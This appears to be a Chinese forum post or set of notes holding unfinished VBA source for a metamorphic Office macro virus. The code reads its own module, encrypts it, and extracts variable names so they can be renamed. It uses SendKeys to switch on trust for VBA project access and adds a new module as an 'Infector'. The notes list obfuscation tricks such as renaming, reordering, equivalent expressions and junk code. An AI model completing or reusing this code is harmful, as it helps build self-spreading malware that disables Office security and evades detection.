无意义2

Public Sub Metamorphism()
    Dim cm As Object
    Set cm = Application.VBE.ActiveCodePane.CodeModule

    Dim s As String
    s = cm.Lines(1, cm.CountOfLines)

    t = cm.ProcBodyLine("Metamorphism", 0)
    t = cm.ProcCountLines("Metamorphism", 0)
    t = cm.ProcStartLine("Metamorphism", 0)

    t = cm.ProcOfLine(1, 0)

    Encrypt s, 2746

    Dim mdl As Object
    'Set mdl = dest.VBProject.VBComponents.Add(vbext_ct_StdModule)
    'mdl.Name = i.Name
    'mdl.CodeModule.AddFromString String:=i.CodeModule.Lines(1, i.CodeModule.CountOfLines)

    MsgBox s

    Decrypt s, 2746
    MsgBox s

    '注释
    'Application.VBE.CodePanes(2).CodeModule.Find "Tabs.Clear", 1261, 1, 1280, 1, False, False
    'Application.Run "ddd"
End SubPrivate Sub Encrypt(s As String, k As Long)
    Dim i As Long
    Dim c As Integer
    Rnd -k
    For i = 1 To Len(s)
        c = Asc(Mid(s, i, 1))
        If c >= 32 And c <= 126 Then
            c = (c - 32 + 126 - Int(Rnd * 95) + 32) Mod (126 - 32 + 1) + 32
            Mid(s, i, 1) = ChrB(c)
        End If
    Next
End SubPrivate Sub Decrypt(s As String, k As Long)
    Dim i As Long
    Dim c As Integer
    Rnd -k
    For i = 1 To Len(s)
        c = Asc(Mid(s, i, 1))
        If c >= 32 And c <= 126 Then
            c = (c - 32 + Int(Rnd * 95) + 32) Mod (126 - 32 + 1) + 32
            Mid(s, i, 1) = ChrB(c)
        End If
    Next
End Sub
Option Explicit
Option Compare Text
Private Const key1 = 33, key2 = 44
Private Const key As Long = 2746
Private codeall As String
Private codelines() As String
Private trimcodelines() As String
Private varname() As String
Private varcount As LongPublic Sub MainEntrance()
    OpenTrustAuthorization
    ReadCode
    Shrinker
    Permutator
    Expander
    Infector

    'MsgBox codeall

End SubPrivate Sub OpenTrustAuthorization()
    On Error Resume Next
    Dim cm As Object
    Set cm = Application.VBE.ActiveCodePane.CodeModule
    If Err.Number <> 0 Then
        Err.Clear
        SendKeys "%(tmstv)~", True
    End If
    On Error GoTo 0
End SubPrivate Sub ReadCode()
    codeall = ""
    Erase codelines
    Erase trimcodelines
    Dim cm As Object
    Set cm = Application.VBE.ActiveCodePane.CodeModule
    codeall = cm.Lines(1, cm.CountOfLines)
    codelines = Split(codeall, vbCrLf)
    ReDim trimcodelines(0 To UBound(codelines))
    Dim i As Long
    For i = LBound(codelines) To UBound(codelines)
        trimcodelines(i) = Trim(codelines(i))
    Next
End SubPrivate Sub Shrinker()
End SubPrivate Sub Permutator()
    ReDim varname(0 To UBound(trimcodelines))
    varcount = 0
    Dim i As Long
    For i = LBound(trimcodelines) To UBound(trimcodelines)
        If trimcodelines(i) Like "'*" Then
        ElseIf trimcodelines(i) Like "Public Const *" Then
            ExtractVarName codelines(i), "Public Const "
        ElseIf trimcodelines(i) Like "Public Sub *" Then
            ExtractVarName codelines(i), "Public Sub "
        ElseIf trimcodelines(i) Like "Public *" Then
            ExtractVarName codelines(i), "Public "
        ElseIf trimcodelines(i) Like "Private Const *" Then
            ExtractVarName codelines(i), "Private Const "
        ElseIf trimcodelines(i) Like "Private Sub *" Then
            ExtractVarName codelines(i), "Private Sub "
        ElseIf trimcodelines(i) Like "Private *" Then
            ExtractVarName codelines(i), "Private "
        ElseIf Trim(codelines(i)) Like "Dim *" Then
            ExtractVarName codelines(i), "Dim "
        End If
    Next
    MsgBox Str(varcount) & Join(varname)
End SubPrivate Sub ExtractVarName(s As String, k As String)
    Dim t() As String
    Dim b As Long, e As Long, e_bracket As Long, e_space As Long
    Dim i As Long
    t = Split(s, ",")
    b = InStr(1, t(0), k) + Len(k)
    e_bracket = InStr(b, t(0), "(")
    e_space = InStr(b, t(0), " ")
    If e_bracket > 0 And e_space > 0 Then
        e = IIf(e_bracket < e_space, e_bracket, e_space)
    ElseIf e_bracket > 0 Then
        e = e_bracket
    ElseIf e_space > 0 Then
        e = e_space
    End If
    varname(varcount) = Mid(t(0), b, e - b)
    varcount = varcount + 1
    For i = LBound(t) + 1 To UBound(t)
        b = 2
        e_bracket = InStr(b, t(i), "(")
        e_space = InStr(b, t(i), " ")
        If e_bracket > 0 And e_space > 0 Then
            e = IIf(e_bracket < e_space, e_bracket, e_space)
        ElseIf e_bracket > 0 Then
            e = e_bracket
        ElseIf e_space > 0 Then
            e = e_space
        End If
        varname(varcount) = Mid(t(i), b, e - b)
        varcount = varcount + 1
    Next
End SubPrivate Sub Expander()

End SubPrivate Sub Infector()
    Dim mdl As Object
    Set mdl = Application.VBE.ActiveVBProject.VBComponents.Add(1)
    mdl.Name = "Test"
    'mdl.CodeModule.AddFromString String:=i.CodeModule.Lines(1,i.CodeModule.CountOfLines)
End Sub
1. 更改名字变量名（变量、数组、常量）
函数名（过程、函数）第一个字符必须使用英文字母
大小写字母和数字
0-9 48-57
A-Z 65-90
a-z 97-122------------------------------------------------------------2. 调换次序变量声明可以放在使用之前的任何位置函数体可以任意调换次序*变量赋值!不!能放在使用之前的任何位置，因为中间语句可能会间接影响变量获得的值------------------------------------------------------------3. 等价语句类型名缩写
Integer %
Long &
Single !
Double #
Currency@
String $变量类型扩大
Integer
Long
Single
Double
Currency
Variant
缺省合并成单条声明语句不会多次调用的函数加Static声明用字面常量替代命名常量，计算表达式之后，再用命名常量替代字面常量
*变量!不!能用赋值语句右侧的内容替代，因为右侧内容可能会发生变化???表达式拆分等价表达式
+ a -(-a)
- a +(-a)
2 * a a/0.5
a Mod b a - a \ b
a And b Not((Not a) Or (Not b))
a Or b Not((Not a) And (Not b))
a >= b Not a<b
a <= b Not a>b
a > b Not a<=b
a < b Not a>bIf a And b Then c If a Then If b Then c
If a Or b Then c If a Then c
If b Then ca.b With a
    .b
End WithDo Until a Do While Not a
Loop LoopDo Do
Loop Until a Loop While Not a a
Do Do While
    a     a
Loop While Loop While Do While
End While LoopFor i = 1 To n i = 1
Next Do While i <= n
    i = i + 1
Loop' :RemChr Chr$
Mid Mid$------------------------------------------------------------4. 垃圾语句+-
*/And True
Or False...
Goto lable1
:label2
语句
Goto label3
:lable1
...
Goto label2
:label3Call sub1
各sub调换顺序
Call 空SubExit Sub/Function
符合语法的任意语句自赋值 a = a字面数字拆分 5->(3+2)给整形数赋小数自动四舍五入 Dim a As Integer
a = 5.8 'a=6If True Then
EndifIf a > 5 Then
...
Else
...
EndifFor i = 1 To n+m
    If i > n Then Exit ForStep 1

解决方案 »